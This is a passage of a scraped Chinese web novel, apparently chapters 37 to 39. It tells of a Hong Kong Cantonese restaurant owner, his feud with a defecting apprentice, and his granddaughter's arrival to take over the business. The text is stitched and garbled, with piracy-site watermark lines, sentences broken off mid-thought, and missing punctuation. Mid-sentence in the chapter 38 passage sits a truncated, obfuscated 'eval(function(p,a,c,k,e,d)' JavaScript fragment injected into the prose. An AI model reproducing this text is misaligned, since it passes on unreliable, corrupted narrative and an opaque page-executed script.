师徒俩一路往外走老街坊们听说了这事也过来关心几句。卖麻将牌的阿伯大声说：“等华叔去医院检查好了回来再问。” “别耽搁华叔去医院。” 街坊们送岳宝华上车。 岳宝华到了医院认真地跟医生沟通。宁宁知道他这些年一直忙碌不一定定期体检就让他趁着这次机会好好做个全面检查。医生安排他入院检查他便乖乖听从医生的安排。他现在有孙女了得保重身体。他把自己头晕眼花等毛病都告诉了医生。港城公立医院资源紧张私立医院除了收费贵些没别的毛病。他也算是小富之人经济上没什么压力。 阿松陪着他进病房后先回去了。 岳宝华靠在床上拿起电话给孙女打电话。宁宁真是细心到让他不知该说什么好还说跟她打电话只能对暗号。他只说了“歪嘴倒地”电话那头的她就夸他厉害。说这话的时候他自己都忍不住笑出声天知道他看到宁宁给他演示小中风要怎么表现时的样子这孩子怎么会有这么多鬼点子。 说完正事宁宁说她中午在周三爷家里吃饭碰上了在港城工作的周文婷。下午她去了友谊商店看到有卖真丝料子买了好几块可惜不知道爷爷的尺寸不然就给他做一身睡衣。 他说：“傻孩子太费神了找个裁缝师傅做就行。” 宁宁的笑声传来：“是啊！是啊！我现在也是个小富婆了。不过在没成大富婆之前我可心疼电话费呢。爷爷拜拜！” 跟孙女通完电话岳宝华手枕着头躺在病床上看电视。屏幕上身穿清凉裙子的靓女正在跳热辣的舞蹈。他下床去换个频道只见才子佳人在一 起讨论着低俗话题。岳宝华心想宁宁从小在那种环境下长大突然来到这里能适应吗？明明早上才分开这会儿他又开始想孩子了。不知道手续什么时候才能办好？他也不能去催乔家自己办的话没两个月办不下来。 岳宝华不想听这些乱七八糟、净是些低俗内容的话立刻换了频道。新闻画面播放的是他摔倒在地的场景标题是“宝华楼胶布疑云：半夜带仔屙屎弄死宝华楼金鱼”。 他知道宁宁跟乔君贤安排好了一切可这也太快了吧？ 主持人播报：旺角老店宝华楼老板回港当日看见胜华楼张贴告示怒撕胜华楼告示质问胜华楼的二老板丁胜强。岳宝华声称自己从在港摆摊起三十年来别说胶布就连毛发都从未出现在菜里。宝华楼一直口碑良好向来不走低价路线货真价实老板手艺精湛。老食客中不乏港城名人。之前爆出胶布的新闻港城四大才子之一杨合裕先生也曾撰文认为以宝华楼的信誉不至于出现这种情况。从今天的事件来看确实疑云重重。 接着主持人又介绍起岳宝华的几个徒弟。他手艺最好的是前三个徒弟很难完全排出名次。大徒弟已经是澳城一家酒店的行政总厨如今二、三两个徒弟都在胜华楼。宝华楼里现有的三个徒弟手艺都比较一般。今天岳宝华被推倒后就出现歪嘴的小中风迹象恐怕以后很难再亲自掌勺。宝华楼是暂停营业几天还是就此关闭已经很难说了。主持人用怜悯的口吻说以后恐怕很难再品尝到岳宝华的手艺了。 岳宝华想起昨晚跟宁宁一起和乔君贤通电话的情景。乔君贤带着他那位掌管亨通电视台的表兄蔡致远。宁宁一再强调一定要在**上坐实胜华楼作恶 宁宁小小年纪脑袋里怎么会有这么多点子呢？ 岳宝华毕竟上了年纪连日奔波也累了下床关掉电视机准备睡觉。宁宁让他把医院当成宾馆那就当宾馆吧。一切有孩子安排呢！ 岳宝华在医院住了两天报纸和电视围绕这件事争论了两天。把丁胜强和楼家富的底细乃至那个叠码仔和二奶的背 景，都像炒饭一样翻来覆去地报道。 这期间，乔二少乔君贤代表乔启明去医院探望，还对记者表达了乔启明对岳宝华支持的言论。崔老板和崔二小姐得知后，也去了医院。在两家的带头下，岳宝华的食客中有头有脸的不少人，有的亲自去探望，有的送来了花篮。这么一来，一番检查下来，发现岳宝华有轻度脂肪肝、胆固醇偏高。不过他收获了一大堆问候。才子杨合裕去医院探望后，在报纸上撰文，希望岳宝华先生能尽快康复，他想念岳老先生做的烧鹅了。 老食客们纷纷发声。比不上追求性价比的普通民众，以前大家提起宝华楼，知道那是个口味很好的酒楼。现在新闻上这些恩怨情仇被反复炒作，一看原来有那么多名人都喜欢宝华楼。胜华楼的台前老板人品不好，幕后老板是个二奶，那又怎样？他们吃的是菜品又不是人品，人家的厨子是岳宝华亲传，最好的三个徒弟，有两个都在胜华楼，这才是关键。这么一来， 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楼家富刚踏进门，听到这话，嘴角微微抽搐。丁胜强说他跟师傅还没完全闹翻，让他过来打听一下师傅的情况，看看宝华楼还开不开。要是宝华楼不打算开了，愿意转让的话，就开个价。 这几天，师兄看到外面铺天盖地的新闻，说没想到被这样骂，生意居然比宝华楼吃出胶布那会儿还要好。 那个女 人见越骂生意越好还私下请了报纸、电视台继续报道。他们俩高兴得不得了楼家富心里却有种说不出的滋味。再怎么说师傅真的不算亏待他们。他们刚来的时候一无所有什么都不会是师傅一点一点教他们让他们学了手艺在港城站稳脚跟赚了钱、成了家。师兄却恨不得把师傅往死里整这让人有些心寒。 不过这几天胜华楼的生意确实好得惊人丽姐跟师兄说这些日子他辛苦了这个月给他多发一个月工钱作为奖金。师兄挖他过去时本来就给他涨了工钱再加上这笔奖金钱确实不少。他出来之前师兄让他来问问师傅酒楼还开不开。要是师傅不打算开了就盘给他。这种话在这种情况下自己怎么能问出口呢？他当场就拒绝了师兄。不过师傅说要交给孙女这是怎么回事呢？ “交给您孙女？您孙女在西北长大的吧？” “是啊！志荣带着她在西北长大志荣的手艺教给她了她会做菜。”岳宝华说起孙女满脸都是骄傲。 有人想要说什么被旁边的人拉住了。谁不觉得自家孩子特别好呢？更何况岳宝华的孩子流落在外如今只剩这唯一的血脉。此时说实话岂不是要惹岳宝华不高兴？ “师傅您还好吗？”楼家富开口问道。 岳宝华侧过头看到楼家富声音瞬间冷淡下来：“你怎么来了？” “师傅我来看看您。”楼家富走到他身旁“检查结果如何？没什么事吧？” “哼！你是替丁胜强来打探消息的吧？你自己听听你们胜华楼的大喇叭里喊的什么？岳宝华亲传？你们不就是想知道你师傅是不是马上要瘫痪了好准备摆酒庆祝？放心华叔我身体硬朗得很！”宝华楼的会计花姐向前一步推了楼家富一把。 楼家富脸上露出被冤枉的委屈神色：“花姐我真的只是来看看师傅我怎么可能盼着师傅身体不好呢？” “家富哥既然你口口声声说关心师傅的身体。那我问你那天丁胜强把师傅推倒在地的时候 的东西，滚出去！” 楼家富心里清楚自己过来肯定会遭埋怨，可没想到大家把所有怨气都撒到他一个人身上。 楼家富满心委屈，看向岳宝华说：“师傅，您好好休息，等您消消气，我再来探望您。” “我没什么气，好得很！出了这种事，以后你们走你们的阳关道，咱们师徒情分一笔勾销。以后你要是客气，就叫我一声‘华叔’，要是不愿意，咱们就当从来不认识。”岳宝华说道，“你走吧！” 花姐端了一盆水出来，冲到楼家富面前，把水朝他身上泼去。 楼家富被泼成了落汤鸡，花姐拎着水盆说：“楼家富，我最恨你这种假惺惺的人。只要我在，你敢踏进宝华楼一步，我就泼你一次。” 这时，岳宝华的大徒弟走进来，看到浑身湿透的楼家富，问道：“你来干什么？” 楼家富抹了一把脸上的水：“荣哥。” “滚！”李欣荣在澳城的大酒店担任总厨多年，身上自然而然带着一股威严的气势。 楼家富带着那种有理也说不清的无力感，转身走了出去。 岳宝华看到自己的大徒弟，连忙站起来迎上去：“阿荣，不是跟你说了嘛，我没事。” “我怎么能放心得下？”李欣荣扶着岳宝华坐下。 徒弟这般小心翼翼的举动，真把自己当成病人了，岳宝华说：“阿荣啊，我真的没事。” “师傅，昨晚跟您通完电话，我思来想去还是放心不下，我跟阿霞商量了。我想辞职，回宝华楼。”李欣荣坐下，握住师傅的手说，“我无父无母，原本是流浪在旺角的孤儿，是师傅收留了我，教我手艺，帮我攒钱娶上老婆，我的今天都是师傅给的。现在师傅身体不好，宁宁又是个姑娘，你们一老一小，我实在不放心。” “阿荣啊，你有这份心意，师傅很欣慰。你在澳城能有如今的名气，可不容易。你也在澳城安了家，小玉和阿明都在上学呢！”岳宝华环顾了一圈关心自己的众人，“你们真的别为我担心了，等宁宁回来，一切都会好起来的。” “宁宁才多大啊？”李欣荣怎么也想不明白，师傅为何把所有希望都寄托在孙女身上。 “是啊，师傅，宁宁年纪还小，我也没多大能耐。荣哥要是回来，咱们就不用怕那两个白眼狼了。”阿松这些日子历经诸多事情，受了不少气，也深知自己能力有限，要是师哥回来，就能好好出一口恶气了。 只要一提到孙女，岳宝华便信心满满：“阿荣，你先别急着提辞职的事，等宁宁回来，你和阿霞带着孩子们回来，咱们一起吃顿饭。到时候，如果你还坚持要回来，那师傅听你的，好不好？” 师傅怎么如此坚持呢？宁宁不就是个在西北长大的牧羊女吗？但这事一时半会儿也跟师傅说不清楚，还是等宁宁回来，和孩子一起商量商量接下来该怎么办吧。 李欣荣应道：“嗯，我们一起等宁宁回来。” 第38章 岳宁到港 一边是忙得热火朝天、打着宝华楼正宗传承旗号的胜华楼，另一边则是天天打扫、清洁整理的宝华楼。 大家原以为宝华楼要关门了，可岳宝华予以否认，坚称宝华楼绝对不会关。要说它要开张吧，岳宝华又说，得等他孙女来了再开，而且还表示要把宝华楼交给孙女经营。 问题在于，从岳宝华口中得知，他这个孙女十八岁，五岁时跟着岳宝华的儿子去了大西北。大西北？看过武侠电影的人都知道，那是大漠孤烟的地方。既然要交给孙女经营，那孙女以前在哪个酒楼工作过呢？岳宝华说：“放羊。” 老食客们原本想着，岳宝华才六十岁，就算年纪大了些，就算受到胜华楼的冲击，好歹还能维持几年吧？可现在他说要把宝华楼交给他那在西北牧羊的孙女，这宝华楼能开多久呢？ 岳宝华就是这么执拗，说孙女不愿意住浅水湾的房子，一心要经营宝华楼。他还特意给孙女腾了一间房间，加装了卫生间，购置了家具，精心布置了一番。他可不是说说而已，他这是怎么了，疯了吗？ 十来天之后的大清早，停业许久的宝华楼突然开始进货了。虽然进的货不多，大概也就够三四桌的量，但好歹有了动静。 每一批货送来，岳宝华都亲自出来验货，这时猪肉强来送货了。 “华叔，您在电话里千叮咛万嘱咐，我还能不给您留最好的吗？您瞧瞧这肉，怎么样？”猪肉强拿起一块五花肉给岳宝华看。 岳宝华笑着说：“谢了。” 猪肉强问他：“今天要开张？您身体吃得消吗？” “今天不开张，是我家宁宁回来。”岳宝华笑呵呵地说。 “哦！孙女回来，给她做好菜吃，是吧？” 岳宝华摇头：“小丫头要请她的朋友吃饭，开了菜单，让我准备。” “她不是从内地过来吗？在港城已经有朋友了？”猪肉强问道。 岳宝华本就不是爱炫耀的性格，宁宁也说一定要出其不意，才能给大家带来最大的震撼，于是他说：“在内地认识的。” “是男朋友吗？这么快？”早起的街坊听到，过来问道。 岳宝华摇头：“别瞎说，她还小，还要读书呢，就是普通朋友。” 丁胜强叼着烟走过来：“师傅，孙女来了，宝华楼真要开张？” 岳宝华懒得搭理他。 丁胜强低头看宝华楼要的肉，就那么几块， 便说：“师傅，既然宁宁是牧羊女，您怎么不给她拿几块羊肉？羊肉才是她的拿手绝活吧？” 猪肉车上剩下的全是胜华楼的货，丁胜强看着那些肉，笑着问猪肉强：“阿强，我现在一家的肉量，都能抵以前你们两家的吧？” 猪肉强自然要捧着大客户：“强哥，你们现在生意真火。以前你们两家都挺火的，现在您一家就这么多，您本事真大。” 丁胜强笑得很开心：“钱堆在面前，不赚是傻瓜。总得想办法嘛！” “那是，那是。您本事大。”猪肉强最烦这种时候，钱他要赚，可即便宝华楼关门了，他依然得叫照顾他十几年生意的岳宝华一声“华叔”。他实在不愿在岳宝华面前跟丁胜强多聊这些。 丁胜强尝到了这些日子的甜头，就算岳宝华不理他，他也要到岳宝华面前去刺挠几句，想再闹出点事来，让电视上、报纸上再来一波热度。毕竟几天过去，热度又降下去了。尝过大甜头的人，总是怀念营业额最高的那几天，他恨不得再把岳宝华气进医院住两天。 丁胜强抽出一支烟递给岳宝华，岳宝华不接，他又把烟给了猪肉强，再给伙计们发了一圈。 他抽着烟，仰头看着自家酒楼的招牌：“胜华楼，这招牌可不是随便说说的，总得有真材实料。” 岳宝华看着竹筐里的猪肉，猪肉强那里有本港两大屠房出来的鲜猪肉，这些肉都是本港自产的生猪或者内地供港的生猪在本地屠宰，当日出产当日上市，极其新鲜。比这差一点的是泰国、台湾和内地供应的冷藏猪肉，这些猪肉在当地屠宰，经过冷藏运输到港城，从屠宰到上市总得四到五天，味道就差了些。最差的是海外过来的冷冻猪肉，漂洋过海两三个月，而且发出之前，也许已经在冷库冻了半年了。冷冻肉的价格只有鲜猪肉的一半，甚至更低。 现在筐里的肉，大多是冻肉，用来做烧肉，成本自然便宜，也就糊弄那些不懂行的人。 岳宝华冷哼一声：“最好是真材实料。” 卖家禽的老板过来给两家送鸡鸭鹅，岳宝华要得不多，还非要亲自过目。卖家禽的老板说：“华叔，您看，这些鸡鸭鹅都还热乎着呢，都是一大早起来现杀的，这只狮头鹅多好啊！” 岳宝华提着鹅查看，说：“很不错。” 丁胜强见岳宝华就几只鸡鸭鹅和鸽子，还要一只只仔细检查。 以前他在宝 华楼的时候，岳宝华总是一遍又一遍地强调，一定要用好料，才能保证菜品的品质。巧妇难为无米之炊，再好的厨子，也没办法把烂料做成美味佳肴。而好料，有时候不需要厨师施展任何技巧，简单白水煮一下，就是美味。 岳宝华就是个死脑筋，其实大部分人根本没有那么灵敏的味觉，细微的差别根本辨别不出来，更何况是加了香料的烧鸭、烧肉呢？冷冻白条鸭、冷冻白条肉，成本省了一半，价格降下来了，利润还上去了。 “草原上的老狮王总是不服老，总觉得自己还很强，有一天年轻的狮子出现在它面前，它还大言不惭地说那只年轻狮子太年轻。只有当那只年轻狮子亮出獠牙，把它按在脚下，它才会感到恐惧。这么一段有水平的话，自然不可能是大字不识几个的丁胜强能想出来的，这是他请的一个记者写的，就刊登在昨天的报纸上。 虽然最近他被骂得越狠生意越好，但谁愿意天天被这么骂呢？他就请了记者写了几篇文章，这几句话最合他心意。 岳宝华听到这么一段怪异的话，收了货直起腰，笑着说：“就你？还狮子？ “这几天还没让您看清楚吗？您的想法已经过时了，只能被淘汰。别想其他的了，把宝华楼盘给我吧？您那边不开门，我这里又坐不下。丁胜强对岳宝华说。 岳宝华笑了一声：“老狮子是老了，可它有一只天赋比自己高几十倍的小狮子，那只小狮子是天生的狮王。而你就是一只秃**狼。 小说的域名ｃａｉｘs?(请来才 小说 看最新章节 完整章节) “师傅，您是不是接受不了儿子死在西北，幻想太多，疯了？您没有孙子，那是个孙女，您什么时候见过女人能当大厨的？ 丁胜强越想越觉得自己说得对，岳宝华肯定是疯了，在说胡话呢。 “那你等着。 十来天没见宁宁，岳宝华真的想得快疯了。一想到孩子这个时候应该从粤城出发了，正在来港城的路上，中午他就能见到孩子了，岳宝华脸上露出温柔的笑意，先进去处理鸡鸭鹅，晚上宁宁要请朋友吃饭呢。 岳宝华在厨房专心处理烧腊用的鸡鸭鹅，外头丁胜强在门口跟早起的街坊们说起岳宝华刚才说的话。 “我师傅真的脑子出问题了，他居然幻想孙女能当大厨。别说她孙女五岁就去了西北，十三岁没了亲爹，根本没人教。自古以来，女人就是在家围着灶台转，没见过女人在大酒楼做主厨的。对吧 ？就那口铁锅，一天到晚颠锅，哪个女人有那体力？”他看见阿松过来，“阿松，你真得带师傅去检查检查脑子了，他可能无法接受儿子没了，现在胡思乱想，觉得他那个西北的牧羊女孙女是天赋极高的厨子。” 阿松天天跟师傅相处，师傅其他方面都很正常，就是一说起孙女，就非要说孙女是比他还厉害的大厨。这一点，他和两个师弟也私下讨论过，觉得根本不现实。 说的域名ｃａｉｘｓ．ｃｏｍ▅(请来才小 说 看最新章节 完整章节) 他不好说师傅是不是想得脑子出毛病了，只能告诉自己，师傅的孙女今天就来了，看看情况再说。 “丁老板，您是没事做了吗？”阿松推开丁胜强。 “阿松，干嘛跟我这么生分呢？你早晚还得跟着我混饭吃。”丁胜强说。 阿松讥笑一声：“您放心，真有那么一天，我就是去筲箕湾找家厂做工，也不会在您手底下讨生活。” 阿松走进宝华楼，师傅已经在忙碌了。见他来了，师傅跟他说：“阿松，你帮我刷脆皮水。今天晚上要用，等接了她回来，鸭子来不及风干。” 阿松低头看师傅递给他的脆皮水，怎么是浑浊的？他们平时用的脆皮水不是一直红亮清透的吗？ “这是宁宁的方子，她在粤城做过一回脆皮糯米鸡，用的就是这个脆皮水，比我们常用的脆皮水要更脆一些。”岳宝华说道。 “脆皮糯米鸡，就是那个要拆鸡骨的脆皮糯米鸡？”这道菜，他们师兄弟几个，会做的只有大师兄和二师兄。其他人拆鸡骨，能成功一只就已经很不错了。 岳宝华笑了：“是啊，就是那个。我教你们的手法可能有点问题。宁宁拆起来更顺手，等她来了，让她跟你讲讲窍门，不过这还是得多练习。你呀，就是嫌麻烦。” 阿松嘿嘿笑了一声，开始刷起脆皮水，他问：“宁宁做的脆皮糯米鸡好吃吗？” “好吃。志荣根据淮扬菜的八宝葫芦鸭改良了脆皮糯米鸡。他们鸡肚子里的糯米饭是用高汤生炒出来的，糯米饭完全吸收了八宝高汤的味道。我们是炒了料拌进煮好的糯米饭里。” 阿松拆鸡骨的手艺不行，师傅却从来没有藏私，该教的都教了，整个流程他都清楚。师傅这么一说，他全明白了。 他说：“那宁宁是怎么学的？” “我也不知道啊。她手艺很好，比我还好。” “比您还好？”阿松心里直犯嘀咕，一会儿觉得可能，一会儿又觉得怎么可 能。 师徒俩刷好了脆皮水其他两个徒弟也来了。 今天宁宁回家乔君贤和崔慧仪替她请了两桌朋友。她还说宝华楼停业这么久虽然工钱照发但大家肯定人心浮动。趁着这个机会也请大家一起吃顿饭一来让大家见识一下她的手艺安定人心二来也是感谢大家这些日子的支持。 是啊这些日子宝华楼一直不开张对面的胜华楼却火爆得不行缺人就专门从宝华楼挖人。三个徒弟都还在 等会儿请大家好好吃一顿准备迎接接下来忙碌的日子。 岳宝华把剩下的活安排给三个徒弟说：“我去口岸接宁宁了。” “师傅事情不多我也跟您一起去吧！”阿松实在太想早点见到能做脆皮糯米鸡的小姑娘了。 “那行我们走吧！” 师徒俩一起走出宝华楼胜华楼也准备开市了丁胜强不在不过街坊邻居在边上议论纷纷。见岳宝华出来有人问了一句：“华叔去哪儿啊？” “接孩子去孩子中午到口岸。”岳宝华兴冲冲地说。 刚才丁胜强的那些话把街坊邻居的好奇心都勾起来了他们都想看看岳宝华的这个孙女到底什么样。 阿松跟来了自然由他开车。岳宝华哼着粤剧心里美滋滋的一个多小时的车程平时没什么看头的厂房、荒地此刻在他眼里都成了风景。 车子停好后岳宝华和阿松一起去过关处等岳宁。他们来得还早两人在边上抽烟看着一批又一批的人过关。大陆人和港城人别说穿衣打扮了就是气质都一眼能分辨清楚。 看到一个穿着花里胡哨、浓妆艳抹但气质很土的姑娘走过来阿松不禁问：“师傅宁宁长什么样？” “很漂亮的一个小姑娘瘦高个特别有气质不输给咱们港城的那些女明星跟那个周明灵有点像。”岳宝华说道。 这下阿松又怀疑师傅是不是有点夸张了。周明灵是谁？是五年前获得港姐最上镜小姐的那位以高挑漂亮、英姿飒爽著称去年在一部电视剧里演一个女警爆火。真有那么漂亮？可能吗？ 这时又有一波人过来了阿松见岳宝华在仔细辨认。 阿松反正不认识师傅找他的孙女。他看到了一个戴着墨镜的靓女靓女个头比他还高肤色不像港城的女明星那样特别白皙。阿松在酒楼做了这么久见多了那些出去留学的公子小姐学了洋鬼子那一套喜欢美黑把皮肤晒成小麦色说是健康美。当然这个靓女的肤色没那么深 她穿着也很别致上身是金黄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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了，她就不想穿棉布衬衫了。但自己裁剪、手工缝制太费功夫。她知道这个年代还没有个体裁缝铺，就问福运楼后厨的兄弟们，谁认识老裁缝？没想到阿邦叔的爸妈就是他们街道裁缝铺的一对老裁缝夫妻，而且还是会做旗袍、西装的老师傅。 老师傅给她做简洁款的新中式服装，那就是小菜一碟。 她终于重新穿上了自己风格的衣服，这种感觉谁能懂？她忍不住给爷爷献宝：“爷爷，我也给您买了一模一样的料子，到时候我们穿亲子装。” 想着自己一个老头子跟孙女穿一样的衣服，岳宝华想拒绝，可心里又有点期待。最终他说：“好。” 到了停车场，阿松放好行李，对正在说话的祖孙俩说：“师傅、宁宁，你们坐后面，说话方便。” “谢谢阿松叔！” 上车后，祖孙俩聊起这几天的事。有阿松在，岳宝华不好说他装病、装跌倒的事，只能听岳宁讲福运楼和周家的事。她说：“乔君贤亲自跑粤城给我送过关资料，您知道他到底为啥亲自来吗？” 岳宝华一听，这位少爷是不是太殷勤了？他问：“为什么？” “在北京的时候他没吃到鸡饭，一直心心念念的。那天我跟周爷爷约好一起吃蚝仔腊味煲仔饭，就带他去周爷爷家吃饭了。结果他吃着煲仔饭，嘴里还不停地念叨鸡饭，把周爷爷也给馋得想吃鸡饭了，非要晚上吃鸡饭。可晚上我给他们做了粿条，就让他们继续惦记着。周阿姨说她和两个哥哥现在都不住在粤城，周爷爷年纪大了，她希望周爷爷来港城和他们一起生活。这下好了，我终于用那碗鸡饭把周爷爷给吸引过来了。” “你呀！”岳宝华疼爱地揉了揉孙女的头。 原本阿松觉得师傅想孩子都想出毛病来了，可如今见到岳宁本人，才发现她不仅长得漂亮，而且气质超凡，一看就是富家千金的模样，和牧羊女完全沾不上边。再听她跟岳宝华的交谈，感觉她厨艺十分了得，竟然能让乔家二少爷专门跑到粤城来。师傅说今晚请宁宁的朋友吃饭，难道就是这位乔家少爷？ “师傅，今天您在里面忙着，您知道丁胜强说什么了吗？”阿松忍不住问道。 岳宝华哼笑一声：“他能说出什么好话。” “他说什么了？”岳宁好奇地问。 阿松模仿着丁胜强的语气，把那番质疑女孩子做厨师的话重复了一遍。 岳宁 听后开心地说：“哎呦强叔可真有意思。以后的日子肯定不会无聊。” 宁宁这一声“强叔”叫得轻柔又亲热阿松却莫名地心里发毛。 终于到了酒楼所在的街区阿松把车停在街区外的空地上帮岳宁提起行李箱三人一同往街道里走去。 岳宁看着街道两边的唐楼以及唐楼下的店铺既熟悉又陌生这里充满了港城别具一格的风韵与烟火气息。 一家一年四季都打着清仓低价甩卖招牌的服装店老板看到岳宝华路过立刻冲了出来手里还拿着喇叭大声喊道：“华叔这是您孙女啊？”声音震耳欲聋。 岳宝华被吓了一跳岳宁笑着看向这位大叔摆摆手打招呼：“您好啊！” 大叔依旧举着喇叭喊道：“华叔您孙女长得太靓啦！” 天气本就炎热岳宝华头上瞬间冒出了汗珠。街道两边店铺的老板和伙计们瞬间全都跑了出来朝他们这边张望。 岳宁面带微笑向两边的人打招呼。有个老人眼神不好生怕看不清楚戴着老花镜跑到她面前仔细端详岳宁便停下来让老人看个够。 岳宝华介绍道：“宁宁这是永兴记的昌伯。” 岳宁微微弯腰礼貌地说：“昌伯好！” 昌伯近距离看过岳宁后其他人也都围了过来。昌伯问道：“宝华你这孙女是从内地接回来的还是从国外接回来的呀？” “宁宁你戴上太阳镜让大家瞧瞧。”阿松对岳宁说道。 岳宁听从阿松的建议戴上了太阳镜。众人不禁倒吸一口凉气岳宝华说孙女像周明灵阿松说道：“我第一眼看到她跟昌伯想法一样可我是亲眼看着她从口岸走出来的。” “太漂亮了。” “华叔说孙女漂亮没想到这么漂亮。” “……” 服装店老板还在拿着大喇叭叫嚷：“还没看过华叔孙女的都快来啊！” 这一嗓子把宝华楼的花姐喊了出来 第39章 很礼貌的妹妹 岳宁和岳宝华已经走到了两家酒楼中间，岳宁看见一位胖大婶冲了过来。 这胖大婶就像上辈子港剧里那种胖嘟嘟、圆墩墩，特别可爱的角色。 胖大婶见到岳宁，不用喇叭都声音洪亮地说：“哇！宁宁真像电影明星啊！” 看着越来越多的人，岳宝华有些头疼，但还是要给孙女介绍：“这是我们酒楼的会计花姐。” “花婶婶好，爷爷说花婶婶细心又爽直，是他最信赖的人之一。”岳宁笑得温柔。 这话让花姐心花怒放：“宁宁，既漂亮又懂事。” 丁胜强就在花姐身后，说道：“师傅，宁宁漂亮又懂事，以后给她找个好人家嫁了，您就能享清福了。” 花姐瞪了丁胜强一眼，对岳宁说：“宁宁，华叔跟你说过，他有两个白眼狼徒弟吧？” 岳宁笑得格外温柔，轻声说道：“他就说强叔出去开了胜华楼，家富叔跟着过去了。” 花姐心里埋怨岳宝华太善良，不愿说人坏话就算了，连实话也不跟宁宁说吗？算了，这是华叔自己的决定，自己虽然生气，可总不能替他做决定。 岳宁乖巧地叫了一声：“强叔好！” 被这么一个漂亮又乖巧的小姑娘叫强叔，丁胜强心里乐开了花，走到她身旁说：“你就是宁宁吧？” “是啊！”岳宁的声音清脆中带着年轻女孩的娇俏。 “有些实话可能不太好听，但我毕竟也是你爷爷的徒弟，也希望他好。你爸去世，刺激得他脑子不太好了，这两天老是说疯话。”丁胜强又朝她身边凑近了一步。 岳宁佯装不知，虚心问道：“他说什么疯话了？” “他居然说你会做菜，而且做菜做得很好，等你回来了要把宝华楼交给你。你说这不是疯话吗？他是不是脑子有问题了？你好好劝劝他，带他去医院检查检查。”丁胜强笑着说。 岳宁露出不解的神情：“强叔，你为什么觉得我爷爷在说胡话呢？” “女孩子，尤其是像你这么漂亮的女孩子，找个好人家嫁了，做少奶奶不好吗？厨房油烟大，铁锅又那么重，每天颠锅颠勺的，且不说小姑娘能不能吃这个苦，单说这体力，女孩子能行吗？” 丁胜强说完便掏出烟盒准备点烟，没注意到岳宁偷偷绕到了他身后。突然，岳宁抱住丁胜强，瞬间丁胜强只觉天旋地转，他惊恐地叫出声，围观的人也跟着惊呼起来。 岳宁用类似鲁智深倒拔垂杨柳的架势从背后把丁胜强扛了起来丁胜强四脚朝天地被她扛在肩膀上。岳宁就这么扛着丁胜强转圈圈转了几圈后才把他放下来。 丁胜强刚刚经历上下颠倒惊魂未定胳膊又被岳宁扣住整个人被晃得左摇右摆停不下来。 围观的人都看呆了这个细胳膊细腿的小姑娘竟然把一个胖厨子当沙袋耍？ 岳宁停了手丁胜强太胖了她真觉得累人。 岳宁一歇手丁胜强脑子发闷头晕目眩 “强叔没事吧？”岳宁拍着丁胜强的背“强叔我应该能颠锅吧？” 丁胜强惊魂未定背上那只像老虎爪子般的手还一下一下地拍着他的背他感觉这手恨不能把自己的五脏六腑都拍出来。 这时已经是下午一点出头胜华楼里都是吃饱喝足正往外走的顾客见外面有人看热闹他们也过来看这一幕直接把他们看傻了。 丁胜强还在干呕得不到回答的岳宁看向围观群众：“大家评评理我能不能颠锅？” “能！”阿松的声音叫醒了看呆的人群。 大家回过神来这小姑娘的力气也太惊人了吧？一个人喊道：“能！” 下面的人跟着齐声喊：“能！” 岳宁停下给丁胜强拍背的手走到中间手放在胸前微微弯腰：“谢谢大家的肯定。我一定不会辜负爷爷的期望也不会辜负大家的期望努力做个好厨子。” 丁胜强背上的压力瞬间减轻他缓了许久终于能站直身体可腿还在打颤。 岳宁一脸关心地问：“强叔还好吧？你四十都没到而且我很小心的没把你扔到地上。你怎么成这样了呢？” 花姐一下子明白了岳宁的意思立刻接话道：“对啊！丁胜强别装了华叔都六十了你都把你师傅推倒在地害得他进医院了。宁可不也没把你推倒在地上嘛。你也想去医院吗？” 围观的人哪里忍得住笑声此起彼伏。 岳宁一把拉过丁胜强指着胜华楼的招牌说：“强叔好了好了别装了！我们现在说正事你这个招牌用得名不副实。而且啊还显示出你的眼光和格局太小。” 丁胜强口舌还不太利索说不出一句完整的话。边上围观的人替他问道：“怎么这么说呢？” “真正能做到 ‘胜’就好比打比赛实力上要胜过对手那就得在菜品上有优势菜要比对方做得好。是不是这个道理？”岳宁问围观的人群。 “对。”众人回应道。 岳宁放开丁胜强走向胜华楼橱窗上的海报指着一行字：“宝华楼传承正宗粤菜。” “这句话的意思是他们以能做出和宝华楼一模一样的菜品而自豪还拿这些菜品来吸引客人这叫仿制。说明他们没有信心所以价格普遍比宝华楼低。这个招牌改成‘仿华楼’倒比较合适。”岳宁问大家“你们说是不是这样？” “有道理。”围观的人喊道。 “就像日本的清仔面和港城的圆仔面在面条爽滑劲道方面圆仔面比清仔面稍差一点所以圆仔面价格低一些。追求爽滑劲道面条口感的多出点钱吃清仔面；要是无所谓的就吃圆仔面。”岳宁走到丁胜强面前“所以强叔仿华楼也是同理就说是宝华楼菜肴的平替喜欢口味更好的就来宝华楼更在意价格的就去你的仿华楼。一家是领导者一家是追随者。领导者引领潮流后者跟随。如果你真的‘胜’了那你就是领导者了可你还用低价仿制的策略怕不是脑子有问题？” 听到这些竞争理论有人叫起来：“小姑娘你还懂这个？” “纸上谈兵罢了。还是要靠实践才能出真知。”岳宁不好意思地笑了笑她看向岳宝华“爷爷对我有信心他决定让我跟他一起经营宝华楼。” 她退后一步向围观的人鞠躬：“我在这里谢谢大家！我从这张海报上知道大家光顾胜华楼是因为对我爷爷的宝华楼的认可。从今天起 “好大的口气。” 岳宁循着声音望去看见一个大波浪、大红唇的女人手指夹着烟扭着腰走过来。 这个女人穿着蓝色紧身衬衫领口敞开露出深深的事业线搭配一步裙和黑丝袜。岳宁确定这就是那个叠码仔的二奶。刚才阿松叔在路上可是详细给她描述了那天的情形又来这一套？她以为她岳宁和爷爷一样好性子吗？ 岳宁很谦虚地澄清：“我说的都是实话 。 这女人走到岳宁身边，往岳宁身上贴过去，仰头仔细打量岳宁。刚要吐出一口烟，她胸口突然感到有些刺痛，低头一看，自己的事业线当中多了一张纸币。 现场的人都惊呆了，他们看到岳老板的孙女，从上衣口袋里掏出一张五蚊面值的港币，塞进了这个老板娘的胸口，那姿势活像去夜总会寻欢打赏小姐的男人。 “你干什么？这个女人嘴里冒着烟大喊，从胸口抽出那张纸币，扔在地上。 